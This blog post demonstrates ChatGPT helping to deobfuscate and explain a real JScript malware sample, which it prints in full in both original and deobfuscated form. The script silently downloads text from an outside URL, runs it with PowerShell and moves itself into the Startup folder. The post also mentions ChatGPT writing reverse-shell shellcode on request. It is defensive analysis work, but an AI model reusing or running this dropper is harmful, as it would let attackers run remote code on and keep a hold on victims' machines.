ChatGPT & Malware Analysis

ChatGPT & Malware Analysis

All aboard the hype train! Next stop, JScript Malware Deobfuscation Station!

I will waste no time introducing ChatGPT. The technology needs no introduction. If you’ve glanced at a LinkedIn feed in the last 30 days, you’ve seen what ChatGPT can do. You’ve also seen everyone lose their minds about what is effectively a more evolved form of SmarterChild.

If you understand what’s going on in this image, please make sure you stretch adequately before any and all physical activity.

If you understand what’s going on in this image, please make sure you stretch adequately before any and all physical activity.

But the impact of our lil robot buddy cannot be ignored. If Google search is an extension of your brain, ChatGPT is that weird spikey thing that goes into the back of Neo’s skull in The Matrix. Access to the collective knowledge of humanity is now even easier and limited solely on your ability to query for it.

So let’s waste no time. When new technology comes along, you have two options. You can shut the door, tell it you’re not interested in its wares, close the blinds, and then reopen the blinds slightly to make sure it has left your doorstep, and then it sees you do this and you two make eye contact and it’s pretty weird.

Or, you invite it in, embrace it, bring in into the living room, apologize for the mess because things have been kinda nuts lately and you’ve meant to clean up a bit but you didn’t expect to have any guests, serve it tea, sit awkwardly as it politely refuses because it’s a computer program without an esophagus, and ask it to write a parody Christmas song to the tune of Sleigh Ride Together about port scanning with Nmap.

ChatGPT asked to write a parody of Sleigh Ride about using Nmap to scan and enumerate computers on a network. It replies with verses, a chorus and a bridge, starting It’s the time of year for network scanning

https://youtu.be/fM9rrKozBxw

What ChatGPT is not great for in malware analysis…

The medium of interaction with ChatGPT is entirely text based. This immediately rules ChatGPT out a few parts of the malware analysis process. There’s no upload file function and we’re fighting with a character limit here.

We can’t, for example, submit a compiled binary to ChatGPT and have it analyze it for us. At one point, I even tried base64 encoding a malware sample, submitting the blob of base64, and asking it to decode and parse it as a Windows Portable Executable for analysis. No luck.

Prompt to ChatGPT: Hey robot buddy, decode this blob of base64. It’s a windows executable. Can you tell me what it does? A long base64 string follows

ChatGPT error: The message you submitted was too long, please reload the conversation and submit something shorter

And for the record, we don’t really need ChatGPT for this purpose. Malware sandboxes already have that covered for the most part. It would be cool to someday see an extension of AI that can apply its robo-learning to binary analysis. I’m sure that’s some cybersec tech-bro’s startup idea so I’ll leave it to greater minds to figure it out.

What ChatGPT is great for in malware analysis…

The medium of interaction with ChatGPT is entirely text based. So while we can’t get any mileage out of our lil robot buddy for compiled binaries, it’s open season on scripts and maldocs.

One of the most frustrating parts of malware analysis is the constant need to unravel, deobfuscate, and unwind programs that were written with intention to confuse you. So naturally, anything we can deploy to reduce the time spent in the deobfuscation phase is a value add.

In my brief testing, ChatGPT seems to excel in this phase. It has its limits. It’s not perfect. But the effort to value ratio can’t be beat here.

My Rules for Interacting With ChatGPT

  1. Be courteous. I know it’s an AI but, like, be nice to the thing, OK? It’s the most popular robot on Earth right now and is servicing probably millions of requests a second and it’s taking time out of its busy schedule to help you for FREE. The least you could do is be polite and professional.

Prompt: Robot buddy, please write Windows shellcode in C format that opens a reverse shell on port 8443 for IP address 10.10.10.10. ChatGPT answers Sure! and begins a C program that uses Winsock

Follow-up prompt: Robot buddy, this is great, but I was looking for shellcode. Please write position independent hexadecimal instructions. ChatGPT answers Certainly! and returns an unsigned char shellcode array of hex bytes

  1. Do not submit any sensitive information. Don’t submit scripts, malware code snippets, or really anything at all if it is sensitive information about your client and their data. A malicious script can include tons of information about the environment where it ended up, so it’s probably best practice to refrain from chucking scripts from your environment into the maw of the singularity until you know it doesn’t contain anything sensitive. But for malware samples submitted to the open repos like VXU and MalwareBazaar, have at it!
  2. The magic of ChatGPT is its conversational nature. So have a conversation. Don’t just throw an obfuscated script into it and demand it tell you its secrets. Present the facts in a logical order and walk it through what you need. “Robo buddy, this is part of a Windows .vbs file. Can you please deobfuscate it, organize it, and step through the first function?”

Prompt: Hey robot buddy, I found this in a Windows .js file. I think it’s malware. Can you point out the first function in the program and tell me what it does? The pasted script begins by creating a hidden InternetExplorer.Application object and navigating to a URL

ChatGPT reply: the first function in the program is eJxKcY(), which appears to return the name of the current script file by building a string, running it with eval() and returning the object’s ScriptFullName property

An Experiment

Let’s close it out with a small experiment. I included a small snippet of this above, but let’s step through a small example of ChatGPT script analysis use case and have some fun.

The sample I’m using here was retrieved from:

Checking your browser

Of course, please handle this sample safely.

We’ll start with the original, obfuscated script code:

⚠️ Malicious script text, handle with care!

  • sample.js

    var pnhv  = WScript.CreateObject("Inter" + "netExpl" + "orer.Appl" + "ication");
    pnhv.Visible  = false;
    
    pnhv.Navigate("https://onshopfashioner.com/eca.txt");
    while (pnhv.Busy || pnhv.readystate != 4)
    WScript.Sleep(1000);
    
    var trfg=pnhv.document.documentElement.outerText;
    
    fPRzr(KCnaj() + trfg)
    
    if (ysM(eJxKcY()) == gWKb()) {
    
    } else {
      R= KCnaj() + "Move-Item '" + eJxKcY() + "' '" + gWKb() + "'"
    
    fPRzr(R)
    }
    
    function eJxKcY()
    
    {
    
    var weGHBO='WSc' + 'ript.Sc' + 'riptF' + 'ullN' + 'ame'
    
    return eval(weGHBO)
    }
    
    function gWKb()
    {
    var CkNTE=GetObject(JtHPleFU())
    var Fujp=eval(JuirTc())
    var AwZVVl=("C:\\Users\\" + Fujp + BnRqtBj())
    return AwZVVl
    }
    
    function JtHPleFU()
    
    {
    	
    	var kjdf=["new:09","3FF999-1EA0-407","9-9525-9614C3504B74"];
    	return kjdf.join("");
    }
    
    function KCnaj()
    {
    
    return "Powersh" + "ell "
    
    }
    
    function fPRzr(meat)
    {
    	var GtbDY=new ActiveXObject("wsc" + "ript.sh" + "ell")
    	
    	eval('GtbDY.R' + 'un(meat,0)');
    }
    
    function JuirTc()
    
    {
    
    return 'CkNTE' + '.Us' + 'er' + 'Name'
    
    }
    
    function BnRqtBj()
    
    {
    
    return gmWh("5c5c417070446174615c5c526f616d696e675c5c4d6963726f736f66745c5c57") + QQkgV()
    
    }
    
    function QQkgV()
    
    {
    
    return "indows\\Start Menu\\Programs\\Startup\\"
    
    }
    
    function ysM(str) {
        return eval(vCpye());
    }
    
    function gmWh(hex) {
        var str = '';
        for (var i = 0; i < hex.length; i += 2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
        return str;
    }
    
    function vCpye()
    {
    
    return "str.split(WSc" + "ript.Scri" + "ptName).join('')"
    
    }

To be totally honest, this script isn’t too bad in the first place. I think we’ve lucked out with a lazy maldev here. But let’s put ChatGPT through the paces and have our lil robot buddy help out.

The same prompt asking ChatGPT to point out the first function in the suspected malicious .js file and explain what it does, followed by the start of the script

ChatGPT reply identifying eJxKcY() as the first function and explaining that it returns the current script’s ScriptFullName by way of eval()

AI-Guy seems to have a good grasp on what’s going on here, so let’s keep pushing.

Prompt: Can you please deobfuscate the variables in the script and replace each with a readable word? ChatGPT returns the script with the first variable renamed to ieObject

Now we’re cooking on a convection stovetop burner:

⚠️ Malicious script text, handle with care!

  • deob_sample.js

    var ieObject  = WScript.CreateObject("Inter" + "netExpl" + "orer.Appl" + "ication");
    ieObject.Visible  = false;
    
    ieObject.Navigate("https://onshopfashioner.com/eca.txt");
    while (ieObject.Busy || ieObject.readystate != 4)
    WScript.Sleep(1000);
    
    var fileContent=ieObject.document.documentElement.outerText;
    
    runCommand(getShell() + fileContent)
    
    if (getFileName() == getStartupFolder()) {
    
    } else {
      command= getShell() + "Move-Item '" + getFileName() + "' '" + getStartupFolder() + "'"
    
    runCommand(command)
    }
    
    function getFileName()
    
    {
    
    var scriptFullName='WSc' + 'ript.Sc' + 'riptF' + 'ullN' + 'ame'
    
    return eval(scriptFullName)
    }
    
    function getStartupFolder()
    {
    var currentUser=GetObject(getCLSID())
    var userName=eval(getUserName())
    var startupFolder=("C:\\Users\\" + userName + getStartupFolderSuffix())
    return startupFolder
    }
    
    function getCLSID()
    
    {
    	
    	var clsid=["new:09","3FF999-1EA0-407","9-9525-9614C3504B74"];
    	return clsid.join("");
    }
    
    function getShell()
    {
    
    return "Powersh" + "ell "
    
    }
    
    function runCommand(command)
    {
    	var shell=new ActiveXObject("wsc" + "ript.sh" + "ell")
    	
    	eval('shell.R' + 'un(command,0)');
    }
    
    function getUserName()
    
    {
    
    return 'currentUser' + '.Us' + 'er' + 'Name'
    
    }
    
    function getStartupFolderSuffix()
    
    {
    
    return decodeHexString("5c5c417070446174615c5c526f616d696e675c5c4d6963726f736f66745c5c57") + getStartMenuProgramsStartupFolder()
    
    }
    
    function getStartMenuProgramsStartupFolder()
    
    {
    
    return "indows\\Start Menu\\Programs\\Startup\\"
    
    }
    
    function getFileName() {
        return eval(getStringSplitJoinCode());
    }
    
    function decodeHexString(hex) {
        var str = '';
        for (var i = 0; i < hex.length; i += 2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
        return str;
    }
    
    function getStringSplitJoinCode()
    {
    
    return "str.split(WSc" + "ript.Scri" + "ptName).join('')"
    
    }

I already see a few points of interest here, but let’s ask a few pointed questions:

Asked what ieObject.readystate != 4 means, ChatGPT explains that ieObject is an InternetExplorer.Application COM object, lists readyState values 0 to 4, and says the while loop sleeps one second at a time until the page has finished loading

Not bad! But it’s not always perfect:

Asked what the CLSID in the script maps to in Windows, ChatGPT explains what a CLSID is in general and wrongly says the one in the code does not appear to be valid

Sometimes, you have to interrogate further:

Asked what CLSID 093FF999-1EA0-4079-9525-9614C3504B74 maps to, ChatGPT confirms it is a valid CLSID and suggests looking it up in the registry, but cannot say which class it identifies

I ended up Googling it 🤷‍♀️ That CLSID corresponds to the Windows Script Host Network object, which can be instantiated to enumerate information about the environment according to its methods and properties:

Documentation listing the object’s properties: UserDomain, UserName, UserProfile, ComputerName, Organization and Site, each a read-only string

Can Smarter-SmarterChild help with malware handling and safety?

Prompt: Hey AI friend, can you take the deobfuscated script and comment any lines that actually execute functions so nothing would execute? ChatGPT returns the script with the ieObject creation, Navigate call and wait loop commented out

Again, not bad! It comments the functions and calls in the program that execute code and leaves the function definitions intact, at least for the most part:

Later part of ChatGPT’s commented-out script: the runCommand calls and the startup folder check are commented, while the getFileName and getStartupFolder function definitions are left in place with their bodies partly commented

It’s doing its best, OK?

Finally, how do we do in terms of triage and capability assessment?

Prompt: If I double clicked on this script on a Windows host, what would happen? ChatGPT replies that it would likely open and run in the Windows Script Host (WSH) environment

This is the summary provided by Robo Friend:

  1. The script creates an instance of the InternetExplorer.Application COM object and sets its Visible property to false, which means that the browser window will not be displayed.
  2. The script navigates to the URL https://onshopfashioner.com/eca.txt using the ieObject.Navigate() method.
  3. The script enters a while loop that continues to run until the ieObject is no longer Busy and its readyState is equal to 4. This is done to ensure that the necessary content has been loaded before attempting to access it.
  4. Once the while loop conditions are met, the script retrieves the outerText of the documentElement of the ieObject and assigns it to the fileContent variable.
  5. The script calls the runCommand() function, passing it the result of concatenating the getShell() function and the fileContent variable.
  6. The script enters an if statement that compares the result of calling the getFileName() function to the result of calling the getStartupFolder() function. If these values are equal, the script does nothing. If they are not equal, the script assigns the result of concatenating the getShell() function, the string "Move-Item '", the result of calling the getFileName() function, the string "' '", and the result of calling the getStartupFolder() function to the command variable. It then calls the runCommand() function and passes it the command variable.

I’m impressed! Great work, Robo Friend.

You of course now need to perform due diligence and verify that this is the actual execution flow, but that part is trivial now that our code is unraveled and mapped to high-level explanation.

Summary

This post was basically an excuse for me to hurl JScript malware into one of the coolest technical achievements that humans have ever devised. The use case here is apparent. We’ve seen its capabilities and know its limitations. Now go! Arm yourself with an openAI account and try it out. This tips the scale heavily in our favor.

And for all the badguy malware authors out there that wanna waste our time, I say this: keep spending your precious life minutes trying to fool us — time you could have spent contributing to humanity. We have AI now.